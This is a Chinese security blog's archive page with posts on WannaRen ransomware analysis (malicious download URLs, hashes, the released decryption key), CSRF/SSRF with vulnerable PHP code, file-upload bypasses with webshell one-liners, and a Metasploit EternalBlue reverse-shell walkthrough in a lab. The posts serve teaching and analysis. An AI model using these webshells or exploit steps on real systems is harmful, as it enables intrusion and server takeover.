首页
关于道锋
友情链接
公告栏
麟图图床
麟云文件
麟云证书管理
Search
1
使用ReDroid打造自己的云手机
4,210 阅读
2
Cloudflare SAAS 接入自选教程
2,440 阅读
3
兽装曲腿制作文档
2,064 阅读
4
Frpc使用XTCP不通过服务器传输
1,979 阅读
5
CloudFront CDN配置教程
1,621 阅读
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
登录
Search
标签搜索
开源
源码
教程
服务器
环境搭建
摄影
rustlang
Rust
VS CODE
v2ray
bbr
加速
网络优化
拥塞控制
CloudFront教程
CF教程
AWS教程
CloudFront接入
Frpc
Frps
道锋潜鳞
累计撰写
443
篇文章
累计收到
127
条评论
首页
栏目
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
页面
关于道锋
友情链接
公告栏
友人
iMin博客
特资啦!个人资源分享站
三石的记录
咬一口激动的鱼
中二病晚期の物語
奇梦博客
布丁の小窝
道麟笔记
迷失的小K
koto's Site
西西のBlog
锐冰龙小站
Nick的琐碎日常
渣渣120
猎空のBlog“
麟图图床
麟云文件
麟云证书管理
搜索到
142
篇与
的结果
2020-04-11
浅谈HTTP的各种请求方法
早在http1.0时代,最基础的三个请求模式被定义出来,他们分别是GET POST HEAD慢慢到了Http1.1时代,请求基本模型就出来了,这一次,增加了更多的功能类请求OPTIONS, PUT, DELETE, TRACE 和 CONNECTGET那么,先从最最最基础的GET请求开始说起,做为http三巨头之一,顾名思义,他面向于获取类型的请求,比如,向特定的资源发出请求。注意:GET方法不应当被用于产生“副作用”的操作中,例如在Web Application中,其中一个原因是GET可能会被网络蜘蛛等随意访问。Loadrunner中对应get请求函数:web_link和web_url,其最明显的特征就是,打开地址栏,你可以非常清楚的看到,他发送了什么。POSTpost作为和get一样古老的东西,作为“邮件”同样顾名思义,它是想服务器发送数据,然后再从服务器那边获取返回数据。向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST请求可能会导致新的资源的建立和/或已有资源的修改。 Loadrunner中对应POST请求函数:web_submit_data,web_submit_form,最明显的特征就是,你无法直观的看出,你的客户端对服务器发送了什么,数据内容是存在于body内的,只能通过抓包解析出。HEAD我通常吧head请求看作是get请求的阉割版,他只响应http头部,响应主体不会被发出,这一方法可以再不必传输整个响应内容的情况下,就可以获取包含在响应小消息头中的元信息。是的,心跳检测用head请求再好不过了。OPTIONS返回服务器针对特定资源所支持的HTTP请求方法,也可以利用向web服务器发送‘*’的请求来测试服务器的功能PUT向指定资源位置上传其最新内容DELETE请求服务器删除Request-URL所标识的资源TRACE回显服务器收到的请求,主要用于测试或诊断CONNECTHTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。那么,值得注意的,在请求报文里面,请求类型必须是大写的,否则服务器可能将返回405 method not allowdHTTP工作原理HTTP协议定义Web客户端如何从Web服务器请求Web页面,以及服务器如何把Web页面传送给客户端。HTTP协议采用了请求/响应模型。客户端向服务器发送一个请求报文,请求报文包含请求的方法、URL、协议版本、请求头部和请求数据。服务器以一个状态行作为响应,响应的内容包括协议的版本、成功或者错误代码、服务器信息、响应头部和响应数据。HTTP 请求/响应的步骤:客户端连接到Web服务器->发送Http请求->服务器接受请求并返回HTTP响应->释放连接TCP连接->客户端浏览器解析HTML内容1、客户端连接到Web服务器一个HTTP客户端,通常是浏览器,与Web服务器的HTTP端口(默认为80)建立一个TCP套接字连接。例如,http://www.baidu.com2、发送HTTP请求通过TCP套接字,客户端向Web服务器发送一个文本的请求报文,一个请求报文由请求行、请求头部、空行和请求数据4部分组成。3、服务器接受请求并返回HTTP响应Web服务器解析请求,定位请求资源。服务器将资源复本写到TCP套接字,由客户端读取。一个响应由状态行、响应头部、空行和响应数据4部分组成。4、释放连接TCP连接若connection 模式为close,则服务器主动关闭TCP连接,客户端被动关闭连接,释放TCP连接;若connection 模式为keepalive,则该连接会保持一段时间,在该时间内可以继续接收请求;5、客户端浏览器解析HTML内容客户端浏览器首先解析状态行,查看表明请求是否成功的状态代码。然后解析每一个响应头,响应头告知以下为若干字节的HTML文档和文档的字符集。客户端浏览器读取响应数据HTML,根据HTML的语法对其进行格式化,并在浏览器窗口中显示。其实就是曾经发表的一篇文章中RTT的说明
2020年04月11日
129 阅读
0 评论
0 点赞
2020-04-09
WannaRen勒索病毒作者主动向火绒提供解密密钥(转载)
4月9日,“WannaRen”勒索病毒作者通过多方主动联系到火绒,并提供了相关解密密钥。经火绒工程师分析后,验证密钥有效,稍后也会发布针对该病毒的解密工具,欢迎关注火绒各官方平台随时获悉通知。被该病毒攻击加密文件的用户也可以随时联系我们获取帮助。此外,我们也将在文末公布该密钥,分享给广大安全同行和专业团队,共同开发解密工具,帮助遭遇该病毒的用户解决问题,挽回损失。9日上午,一名火绒用户以解密为由,通过邮件尝试联系“WannaRen”勒索病毒作者获取更多信息。该作者在要求火绒用户支付比特币作为赎金未果后,竟主动提供病毒解密钥匙,并要求该火绒用户将密钥转发给火绒团队,制作“相应解密程序”。从上述邮件可以看出,该病毒作者在使用英语进行交流后,又使用了中文进行沟通,再加上火绒此前披露该病毒使用易语言编写的情况来看,极有可能为国人所为。至此,随着事件发酵,各媒体、安全厂商进行了大量的曝光和溯源调查,截止目前,该病毒作者提供的比特币钱包未收到任何赎金,而该作者也已经停止下发、传播“WannaRen”勒索病毒。-----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEAxTC/Igjuybr1QbQ1RmD9YxpzVnJKIkgvYpBrBzhsczHQ8WeC 7ikmC5jTbum1eCxTFTxvtnONEy2qDbnSS5fbK/lxYExj6aDLKzQxXCOVSdSQCesW g1i5AAdUC9S246sdS9VKxT0QL24I+SG+ixckBhcB+ww6z47ACegoH0aLDwvRvehZ Ycc1qFr1lhRXQpHunrlg4WRphH5xBbszOI+dFRDOpprnbN56CHoLb0q1SzzV3ZFA FF6Df68Pux1wMHwEXbULRHo5AIZJPJq8L9ThWVsj6v42jAjJQ8m8bRh0+Jz4Rohk WwPgL+VFxDG2AiiCU5/yLNoQX0JM9VWBxy6Z3QIDAQABAoIBADi/KoH06CMNtn7O CXbTepgGiKKcCVGMTHak8OgHCM6ty19tVnSLSvOTa2VDxIFs4AwAdHWhEzwtq/5/ N1GhxeUFx+balPYq28z3HC1T4CZ7EWiJStVJtxOXCEzPTkJ+f9PO8dGJHRtJIzPu zhLg+fD2tg81GceZYRJ4yPMXLfWKA5DmGkRv/1Usq5zvMClLdrmw/q2rnCbRLdeE EAzSAi9kqsnEaZKfCbXb/gby+bUwAgn7mxs+CJ611hzD/r2w9dgXkaUJYuKRRv+B GlQHBRQ7hXogkIzeaGqmw8M3xko7xzADsytFYxt2Kthuww2YV4E6Q1Hl4bBW0q+g w+jSolECgYEA0Tnns+LaqMd5KCQiyWlCodQ2DtOMOefhIrJbRhdAkAq6FtVICxkL nIJL0gmo4T/zDaMr8vsn7Ck+wLjXUsYt1/EulLtVnuH76FU0PkjJqBdre5Gjf23/ YGHW7DJEoH3p/7DIgV4+wXPu6dD+8eECqwm1hLACOxkfZnOFZ1VGxeMCgYEA8UYH jaA69ILlz0TzDzoRdTmam6RDqjsVO/bwaSChGphV0dicKue25iUUDj87a1yLU5Nq t0Kt0w1FL/iile1Eu4fe4ryukPGw2jAZh/xq7i2RRSFLXim5an9AbBVQ55478AJa sTaIOSoODgBspsBLShnXQRKEfwYPv2GthhcJLT8CgYAssRDERQ3uBYXkxCtGGJzq Enllm1yVtelKTwzeIPNikVgErpRQAo6PZOmrOPMBAnb5j8RAh9OUR48m/ZTJEpoS SWtoy8dTQ/RaQXECaOviYvZLk+V3v9hQDzYoh+hO2/aS7oE12RrQmeILwd/jbOvz +wPyDuK7GvexG7YAR5/xfwKBgQCA8p6C0MnxeCv+dKk60BwYfKrm2AnZ5y3YGIgw h2HS5uum9Y+xVpnnspVfb+f/3zwPdNAqFZb1HziFBOtQGbkMSPeUUqcxjBqq4d4j UYKMvQnQ2pR/ROl1w4DYwyO0RlteUMPLxotTkehlD1ECZe9XMSxb+NubT9AGxtuI uLMM3QKBgGl0mYCgCVHi4kJeBIgabGqbS2PuRr1uogAI7O2b/HQh5NAIaNEqJfUa aTKS5WzQ6lJwhRLpA6Un38RDWHUGVnEmm8/vF50f74igTMgSddjPwpWEf3NPdu0Z UIfJd1hd77BYLviBVYft1diwIK3ypPLzhRhsBSp7RL2L6w0/Y9rf -----END RSA PRIVATE KEY----- 转载地址:http://bbs.huorong.cn/thread-68350-1-1.html不知道为什么,突然很想笑
2020年04月09日
65 阅读
0 评论
0 点赞
2020-04-09
对WannaRen勒索病毒溯源新进展
恶意软件伪装为激活工具(kms)分发万恶的下载站,,勒索提示信息为“WannaRen”,排查发现主机不存在MS17-010漏洞。了解到之前下载过KMS类的系统激活工具。分析发现KMS工具存在访问URL加载其他恶意程序的行为。点名某西下载站。安全你XX呢?鬼话连篇发现在“kms激活工具 19.5.2.exe”程序中,捆绑了powershell恶意代码。如下病毒信息恶意代码执行时,首先延时2000秒(33分钟),一定程度上造成没有恶意行为的假象,影响安全研究人员分析;如果系统中安装了360、QQ防护则不执行后续代码。然后呢。勒索病毒代码以“白加黑”的形式被调用,匿影病毒传播脚本会将“白加黑”恶意模块(wwlib.dll和WinWord.exe)下载到c:\ProgramData目录执行。病毒运行后,会将C:\ProgramData\WinWord.exe注册为系统服务,电脑重启后即会执行恶意代码,加密用户文件。主要通过“匿影”病毒传播脚本进行下发。目标地址1:http://cs.sslsngyl90.com 目标地址2:http://cpu.sslsngyl90.com/vip.txt病毒脚本执行后,会下载执行多个恶意模块,其中包括:勒索病毒、挖矿病毒、永恒之蓝漏洞攻击工具。其中,永恒之蓝漏洞攻击模块会在网络内通过漏洞攻击的方式传播恶意代码。在攻击成功后,会在被攻击终端中运行远程恶意脚本(my****.at.ua/vip.txt),此脚本于报告上述vip.txt恶意脚本模块逻辑基本相同,同为下载执行上述诸多恶意模块,也不排除该恶意脚本下载执行WannaRen勒索病毒的可能性。截止昨晚获取到该脚本时候,内部恶意代码已被删除。获取到的powershell脚本主要功能为:下载程序到本地执行。其中的WINWORD.EXE带数字签名,可以绕过杀软检测,wwlib.dll使用vmp加壳,其编译信息和加壳信息与WannaRen勒索信息程序一致。@WannaRen@.exe程序PE信息wwlib.dll程序PE信息在分析环境,wwlib.dll不能被运行,所以无法确认是否存在加密行为。截止目前8号下午5点,已发出的安全分析文章,认为该程序(wwlib.dll)即WannaRen的加密模块。勒索病毒行为该勒索病毒采用对称和非对称(RSA+RC4)加密,除非得到勒索病毒作者的私钥,否则无法进行解密。勒索病毒首先生成随机的RC4密钥,如“p2O6111983YU1L “,并使用这个单一密钥加密所有文件,被加密的文件会被添加.WannaRen后缀。生成密钥后,病毒会导入RSA公钥对随机生成的RC4密钥进行加密,并存储在每个加密文件的头部。具体代码,如下图所示:生成随机的RC4密钥导入公钥加密RC4密钥病毒作者的公钥使用RC4算法加密原始文件为了使勒索后的电脑可以继续使用,勒索病毒在加密时会跳过特殊路径,跳过的路径关键字勒索病毒会加密特定扩展名的文件加密的文件扩展名加密后的文件由两个部分组成, 前面为加密后的RC4密钥,后面为加密后的文件内容被加密后的示例文件内容勒索病毒在加密每个文件夹时会释放勒索说明文档,且完成后会在公用桌面上创建“想解密请看此文本.gif”、“想解密请看此文本.txt“以及一个解密程序” @WannaRen@.exe “后门、勒索、挖矿一体的下载器上述分析的其实只是恶意代码的“冰山一角”,hxxp://cs.sslsngyl90.com中后续的代码还会执行更多的行为,包括:下载并执行挖矿程序(门罗币)下载“永恒之蓝”工具包并集成批量扫描工具Everything工具外壳程序,实际为木马程序,开放并监听本地3611端口甚至包含一些驱动程序,创建设备\\Device\\WinRing0_1_2_0等。门罗币挖矿进程:成功下载到本地的文件同时,该病毒存在一些“缺陷”,即部分URL已经“失效”或者返回404,导致脚本异常退出中断执行。各模块hash:WINWORD.EXE CEAA5817A65E914AA178B28F12359A46wwlib.dll 9854723BF668C0303A966F2C282F72EAyou 2D84337218E87A7E99245BD8B53D6EABnb.exe CA8AB64CDA1205F0993A84BC76AD894Aofficekms.exe 39E5B7E7A52C4F6F86F086298950C6B8WinRing0x64.sys 0C0195C48B6B8582FA6F6373032118DA防护建议不要下载或打开来路不明的文件,并且及时备份重要数据,妥善保管。安装并使用具备主动防御功能的终端防护软件,并及时更新病毒库版本。下载软件请前往官网下载,尽量避免使用下载站下载。文章改编自:绿盟公众号:https://mp.weixin.qq.com/s?__biz=MzU3NTcxNjkwMg==&mid=2247484397&idx=1&sn=576a65b3554fdabf37c904d92d921878&chksm=fd1fa8a4ca6821b21b09f7f48d9be0294d5243891f0cfa1af7328142e6d3309c67e0770b4c1a&mpshare=1&scene=23&srcid=&sharer_sharetime=1586358489740&sharer_shareid=4e6650b4a46c26f146a18e879fa887b8#rd吾爱破解论坛(火绒安全):https://www.52pojie.cn/thread-1151815-1-1.html实际测试如何,从群友那边获取来的中毒虚拟机压缩包已经在路上了
2020年04月09日
116 阅读
0 评论
0 点赞
2020-04-08
对某网传WannaRen的跟进
15小时后,正准备狠狠心做win10实体机测试的时候,最早让吾做分析的同学通知我。火绒实验室也发表了同样的结论于是抱着能懒就懒的精神,我索性不测试了。(1w的电脑可不敢折腾哦。。)直接上图:暂时火绒实验室的说法与吾的分析大同小异,这只是一个释放的解密程序(猜中了千千万,就是没确定是个解密。。),而源病毒暂时未找到文件(就说源病毒为啥会用易语言写。。。。)引用火绒官方的话:目前,感染该勒索病毒的文件还无法被破解。建议用户不要轻易使用安全软件对该解密工具进行查杀,以免无法赎回被加密的重要资料。同时,360安全也发表了结论,不过毕竟是大团队,拿到的是原版,也是得出我们所分析的文件乃是释放的解密工具的情况。最后稍安勿躁,等待专家的结果,另外可参考本站对0796漏洞分析,及时升级系统打上补丁,防止被传播文章地址:https://www.jcdpn.cn/?p=96
2020年04月08日
51 阅读
0 评论
0 点赞
2020-04-07
对某网传WannaRen的分析
判断可能具有反虚拟机能力,据传有穿透虚拟化能力,打开软件无效果,初步判断套了软件壳打开过检测的虚拟机,据说会加密win10,因此拿win7进行检测,这是网友分享的据说是原版的样本下载进行测试,发现360大爷直接报毒关闭360和360相关的安全模块,为了宿主机安全起见,断开虚拟机网卡,且拍摄快照,打开宿主机两个安全软件直接赋予管理员权限运行可能是因为win7的缘故,我没能见识到他的发作,只有一个怪异的页面。说明缴纳0.05的BTC。但是,,这方方块块的边框是怎么回事???巨眼熟有没有。???真的是似曾相识,有点眼熟啊。莫非我拿的真的是假的??反编译试试看直接丢到OD里面,在搜索ASCII和Unicode,还卡住了,还有这乱糟糟的内容,一定具有加密壳等了5分钟终于载入出来了,然后翻着翻着看到这个区块。我4不4发现了什么不对劲的东西,这个完美的程序为什么有如此怪异的名字?好像是有点像?and。。。。这个奇妙的字段又代表着什么。。。继续翻看数据内容,发现调用了打印机的借口?人类迷惑行为。这么壕无人性的程序您居然是用易语言写的???放在微步云沙箱测试看看还发现发起了TCP连接,目标疑似是一个谷歌云的北京节点(为啥在国内诶?)从另外一份分析中看出,这个地址不是唯一的,经过直接访问,发现是谷歌云CDN节点对于为什么有一个访问谷歌的CDN地址,我做出如下两个判断1.程序可能调用其作者部署在网站上API接口来验证是否为正确密匙。 2.可能还存在一个核心的解密程序,分发在谷歌云的CDN上来实现全球操作第一种问题倒是不大,吾本人倒是比较惧怕出现第二种情况,若这个程序纯粹只是一个用作验证秘钥的程序,那么用于真正解密的核心程序是否会在用户电脑上埋雷?这就无从考究了看起来VMP壳的猜测是对的,但是依然不确定是否为易语言程序以及是否为源病毒。为此,我联系上了群内的一位逆向大佬,等待明天回音。对于加密文件和传播,目前没发现这个EXE具有加密行为,也未进行除谷歌云的443端口外的其他端口的请求,严重怀疑拿到的是释放文件。上图是据说原版的多个版本,在win7下均未出现问题,如前文所述如出一辙。写到这里的时候,大佬也回了我的疑问。大佬非常确信的验证了我的假想总结:目前所测试的程序由易语言编写而成,不具有传播能力,外包VMP软件壳加密内容,反调试。且调用未知的谷歌CDN节点地址,疑似空壳或单一功能的释放文件。后续如何请看明日后续
2020年04月07日
89 阅读
1 评论
0 点赞
2020-04-07
CSRF与SSRF
CSRF又称跨站请求伪造,XSS就是CSRF中的一种。二者区别,XSS利用的是用户对指定网站的信任,CSRF利用是网站对用户浏览器的信任。发生条件当用户在安全网站A登录后保持登录的状态,并在此时浏览了保存有恶意代码的另一个网站B。此时B站劫持用户的浏览器并以用户以登录的状态对A站发送非用户本人的操作。当服务端没有对这次请求验证的情况下,将这次操作作为可信任的用户的操作。发生地点攻击者可以将恶意网址或者代码藏在论坛博客等任何用户生成内容的网站中。这意味着如果服务端没有适合的防御措施的话,用户即使访问熟悉的可信网站也有受攻击的危险。类似于XSS一些html标签可以发送HTTP GET类型请求 像,浏览器渲染img标签的时候,并不知道标签中src属性的值,是否为一个图片,浏览器发起一个HTTP GET请求,并携带当前受害者当前浏览器在网站的cookie,获取返回结果。对于很多网站来说,即使是一些重要的操作使用POST来提交请求,但是服务器再接收请求的时候并没有严格区分POST和GET。在PHP中滥用$_REQUEST就是例子。如果服务端已经区分了GET,POST只用POST请求数据,可以通过制造一个隐藏的表单,并通过js代码自动提交伪造的表单。要我说的话,和XSS有一部分类似防御增加验证码机制,增加带有大量噪点的验证码,杜绝代码能够识别的简单验证码,当然了也经常被绕过验证referer,采用同源政策,referer记录着数据包的来源地址,来判断请求的合法性,但是这个可以伪造使用Token,令牌是一种将表单value的加密算法生成不同的加密结果,在服务器端进行验证。在访问登录过一个网站,点击退出账户。SSRF又名服务端请求伪造攻击有的大型网站在web应用上提供了从其他服务器获取数据的功能。使用户指定的URL web应用获取图片,下载文件,读取文件内容。攻击者利用有缺陷的web应用作为代理攻击远程和内网的服务器(跳板)危害:可对外网,服务器所在内网,受控服务器进行端口扫描,获取一些banner对内网web应用进行指纹识别,通过访问默认文件实现攻击内外网web应用,主要是使用get参数就可以实现分攻击利用file协议读取本地文件该漏洞存在的条件是对curl函数的滥用比如:if(isset($_POST['commit'])){ $link = $_POST['url']; $filename = './curled/'.rand().'txt'; $curlobj = curl_init($link); //初始化连接 $fp = fopen($filename,"w"); curl_setopt($curlobj, CURLOPT_FILE, $fp); //设置输出文件,默认为STDOUT (浏览器)。 curl_setopt($curlobj, CURLOPT_HEADER, 0); //设置为0表示不返回HTTP头部信息。 curl_exec($curlobj); //执行curl请求 curl_close($curlobj); //关闭curl连接 fclose($fp); $fp = fopen($filename,"r"); $result = fread($fp, filesize($filename)); fclose($fp); //关闭文件 echo $result; }并为对输入的命令进行过滤,导致服务器遭到攻击修复方案:过滤返回信息,如果web应用数去获取某一类型文件,在把结果返回给用户之前先验证信息是否符合标准。例如:当攻击者利用"识别图片"下的该漏洞远程包含一个文件,可以通过在服务器上验证返回数据是否是纯像素,来进行过滤。统一错误页限制请求端口为http常用端口 80,443,8080,8090内网IP黑名单,避免应用被用来获取内网数据,攻击内网
2020年04月07日
69 阅读
0 评论
0 点赞
2020-04-06
ms17010上古漏洞复现
懵逼吗,突然复现一个上古的漏洞。没办法,今天忙着给站加功能了,只能水一篇了。再加上在某“大黑客群”发现一个还在耍这个洞的“大哥”。特此水下此文。0x01 实验环境攻击机:kali linuxip:192.168.75.129目标机:windows 7ip:192.168.75.133为了确保复现成功,先把360大爷和防火墙大哥关掉先然后看看445小老弟是不是在村门口了0x02 配置exploit老规矩,先进msfconsolemsf > use exploit/windows/smb/ms17_010_eternalbluemsf exploit(ms17_010_eternalblue) > set rhost 192.168.75.133rhost => 192.168.75.133查看选项msf exploit(ms17_010_eternalblue) > show options设置目标机的IP,其他选项默认就可以;注意:选项中说明了此exploit对应的目标系统,所以并不是具有该漏洞的系统都能利用此exploit;0x03 配置payloadpayload只需要配置监听返回会话的IP;msf exploit(ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcppayload => windows/x64/meterpreter/reverse_tcpmsf exploit(ms17_010_eternalblue) > set lhost 192.168.75.129lhost => 192.168.75.1290x04 开始攻击警告:攻击过程可能导致目标系统宕机重启,谨慎操作!msf exploit(ms17_010_eternalblue) > exploit成功获得session。shell 进入主机操作
2020年04月06日
220 阅读
0 评论
0 点赞
2020-04-06
文件上传漏洞
文件上传漏洞文件上传漏洞是指由于程序员未对上传的文件进行严格的验证和过滤,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。在了解文件上传漏洞之前先了解什么是Web容器、IIS、文件解析。什么是web容器?web容器是一种服务程序,在服务器一个端口就有一个提供相应服务的程序,而这个程序就是处理从客户端发出的请求,如tomcat、apache、nginx等等。(可以理解为给编程语言提供环境)中间件:提供系统软件和应用软件之间连接的软件,以便于软件各部件之间的沟通。中间件处在操作系统和更高一级应用程序之间。容器*:给处于其中的应用程序组件(ASP,JSP,PHP)提供一个环境。使处于其中的应用程序组件之间跟容器中的环境变量接口交互,不必关注其他系统问题。服务器:www服务器或http服务器。提供web信息游览服务。它只需支持http协议、html文档格式以及url,向游览器提供服务的程序。什么是IIS?IIS全称是互联网信息服务,包括FTP/FTPS、NNTP、HTTP/HTTPS、SMTP等服务。.net Framework是基础类库,是程序运行的底层框架。IIS是架设Web服务器用来提供网页游览服务的,属于系统环境。一般用ASP.NET开发软件,然后靠IIS对公网提供服务。什么是文件解析?当服务器接收到一个HTTP请求的时候,IIS首先需要决定如何去处理这个请求(服务器处理.aspx和.html肯定是不一样的),根据的是文件的后缀名。服务器获取所请求的页面(也可以是文件)的后缀名后接下来会在服务器端寻找可以处理这类后缀名的应用程序,如果IIS找不到可以处理此类文件的应用程序,那么IIS将直接把这个文件返还给客户端。1 解析漏洞攻击者在利用上传漏洞时,通常会与Web容器的解析漏洞配合在一起。所以我们首先来了解一下解析漏洞,这样才能更深入地了解上传漏洞,并加以防范。常见的Web容器有ⅡS、Apache、Nginx、Tomcat等,下面主要讲IIS、Apache容器。1.1 IIS解析漏洞IIS 6.0在解析文件时存在以下两个解析漏洞。当建立*.asa、*.asp格式的文件夹时,其目录下的任意文件都将被IIS当做asp文件来解析。 例如:建立文件夹parsing.asp,在parsing.asp文件夹内新建一个文本文档test.txt,其内容为<%=NOW()%>,然后在浏览器内访问。 “NOWO”是ASP提供获取当前时间的函数,TXT是文本文档格式,IIS是不会去解析此类文件的,应该会直接显示其内容,而在parsing.asp文件夹中,却被当作ASP脚本来解析。 当文件为*.asp;1.jpg时,IIS6.0同样会以ASP脚本来执行,如:新建文件test.asp;1.jpg,内容为<%=NOW()%>。1.2 Apache解析漏洞Apache是从右到左开始判断解析,如果为不可识别解析,就再往左判断,如xxx.php.owf.rar ,”.owf”和”.rar”这两种后缀是apache解析不了的,apache就会把xxx.php.owf.rar解析成php。怎么去判断是不是合法的后缀就是这个漏洞利用关键,测试时把常见的后缀都写上,去测试是不是合法,任意不识别的后缀,逐级向上识别。有些程序开发人员在上传文件时,判断文件名是否是PHP、ASP、ASPX、ASA、CER、ASPX等脚本扩展名,如果是,则不允许上传,这时攻击者就有可能上传1.php.rar等扩展名来绕过程序检测,并配合解析漏洞,获取到WebShell。2 绕过上传漏洞绕过上传漏洞分以下两种。客户端检测:客户端使用JavaScript检测,在文件未上传时,就对文件进行验证;服务器端检测:服务端脚本一般会检测文件的MIME类型,检测文件扩展名是否合法,甚至有些程序员检测文件中是否嵌入恶意代码。在研究上传漏洞之前,首先来看两个小工具:中国菜刀和一句话图片木马。“中国菜刀”这款软件是用来管理网站文件的,非常小巧灵活,它仅仅需要一段简短的代码就可以方便地管理网站。中国菜刀现在已经成为安全研究者手中必备的利器,其官方网站为:http://www.maicaidao.com。该软件提供的服务器端文件仅有一行代码。目前支持的服务器端脚本包括:PHP、ASP、ASP.NET、JSP等,并且支持HTTPS安全连接的网站。常见的代码如下:Asp一句话:<%eval request(“xxx”)%>Php 一句话:<%php @eval($_POST[xxx]);?>Aspx一句话:<%@ Page Languag=”xxx”%><%eval(Request.Item[“xxx”])%>正因为代码短小精悍,所以被黑客称为一句话木马(一句话后门)。将<?php @eval(S_POST['xxx']);?>保存为shell.php,上传至PHP主机空间中,配置菜刀进行连接。IIS6.0的解析漏洞触发条件:必须是IIS6.0的环境文件名漏洞 正常命名:as.jpg触发漏洞的命名方式:as.asp;.jpghttp://192.168.16.128/as.jpg 打开是一张正常的图片。http://192.168.16.128/as.asp;.jpg 打开已经被解析成asp的源码了。文件夹名漏洞 正常命名:a/as.jpg触发解析漏洞的命名:a.asp/as.jpghttp://192.168.16.128/a/as.jpg 打开是一张正常的图片。http://192.168.16.128/a.asp/as.jpg 同样,打开已经被解析成asp的源码了。二、IIS7.0、IIS7.5 以及Nginx<8.03 解析漏洞IIS7.0和IIS7.5的解析漏洞没有IIS6.0那样全面,有时候或许没效果。还有一点需要注意:IIS7.0、IIS7.5这种解析漏洞只适用于PHP编程语言的网站;不像IIS6.0的解析漏洞,ASP和PHP都可以。正常的命名:a.jpg触发解析漏洞的命名:a.jpg/.phpwww.*.com/upload/20190622/aa0j4si01j741b2ugpgbgc8t4a. jpg 打开是一张正常的图片。www.*.com/upload/20190622/aa0j4si01j741b2ugpgbgc8t4a. jpg/.php 同样,打开已经被解析成PHP的源码了。试想一下,如果这个图片是我的PHP一句话木马呢?是不是说明这个PHP一句话木马已经被解析了。接下来,我们用中国菜刀或中国蚁剑连接就可以轻松获取到webshell了。三、Apache解析漏洞apache解析很奇怪,它解析是按照向左解析法来的,虽然说,到目前为止,我还暂时没有碰到过有这种漏洞的网站。向左解析法:a.jpg.asp.gif.xxx大概意思是,当Apache碰到 .xxx 不认识的时候,它会向左移找下一个,继续解析 .gif,这里就会以 .gif 来解析后面依次类推主。a.php.xxx 解析成a.phpb.php.xxx 解析成b.php四、空格 和 . 绕过上传限制空格和点在Windows系统下会自己忽略掉。a.asp 去绕过对上传的限制a.asp. 去绕过上传限制五、绕过上传的方法之00截断00截断就是指用%00;a.asp%00.jpg 就会变成a.asp,后面的.jpg就会被%00截断了。
2020年04月06日
153 阅读
0 评论
0 点赞
2020-04-05
水平越权与垂直越权
越权访问漏洞越权访问(Broken Access Control,简称BAC)是Web应用程序中一种常见的漏洞,由于其存在范围广、危害大,被OWASP列为Web应用十大安全隐患的第二名。该漏洞是指应用在检查授权时存在纰漏,使得攻击者在获得低权限用户账户后,利用一些方式绕过权限检查,访问或者操作其他用户或者更高权限。越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定。越权访问漏洞主要分为水平越权访问和垂直越权访问。水平越权访问漏洞水平越权访问是一种“基于数据的访问控制”设计缺陷引起的漏洞。由于服务器端在接收到请求数据进行操作时没有判断数据的所属人/所属部门而导致的越权数据访问漏洞。 假设用户A和用户B属于同一角色,拥有相同的权限等级,他们能获取自己的私有数据(数据A和数据B),但如果系统只验证了能访问数据的角色,而没有对数据做细分或者校验,导致用户A能访问到用户B的数据(数据B),那么用户A访问数据B的这种行为就叫做水平越权访问。垂直越权访问漏洞垂直越权是一种“基于URL的访问控制”设计缺陷引起的漏洞,又叫做权限提升攻击。由于后台应用没有做权限控制,或仅仅在菜单、按钮上做了权限控制,导致恶意用户只要猜测其他管理页面的URL或者敏感的参数信息,就可以访问或控制其他角色拥有的数据或页面,达到权限提升的目的。防范措施前后端同时对用户输入信息进行校验,双重验证机制 调用功能前验证用户是否有权限调用相关功能 执行关键操作前必须验证用户身份,验证用户是否具备操作数据的权限 直接对象引用的加密资源ID,防止攻击者枚举ID,敏感数据特殊化处理 永远不要相信来自用户的输入,对于可控参数进行严格的检查与过滤
2020年04月05日
279 阅读
0 评论
0 点赞
2020-04-04
如何利用Cloudflare Workers构建一个免费无服务器导航页
Cloudflare的东西,出了名的慷慨,Workers功能在前不久提供了免费的模式每天10W次请求数量,无限流量,真猛啊!拿去做个小站简直不要太舒服哦Cloudflare的东西都懂的,抗DDoS一级棒哦,就是电信联通延迟有点美丽。。。》》》白嫖万岁!老规矩,先把代码丢上来,然后慢慢讲解const config = { title: "导航首页", //write your website title subtitle: "鹏龙-道记", //write your website subtitle logo_icon: "sitemap", //select your logo by semantic-ui icon (you can get more msg in:https://semantic-ui.com/elements/icon.html) hitokoto: true, //use hitokoto or not search:true, //enable search function search_engine:[ //choose search engine which you use { name:"百 度", 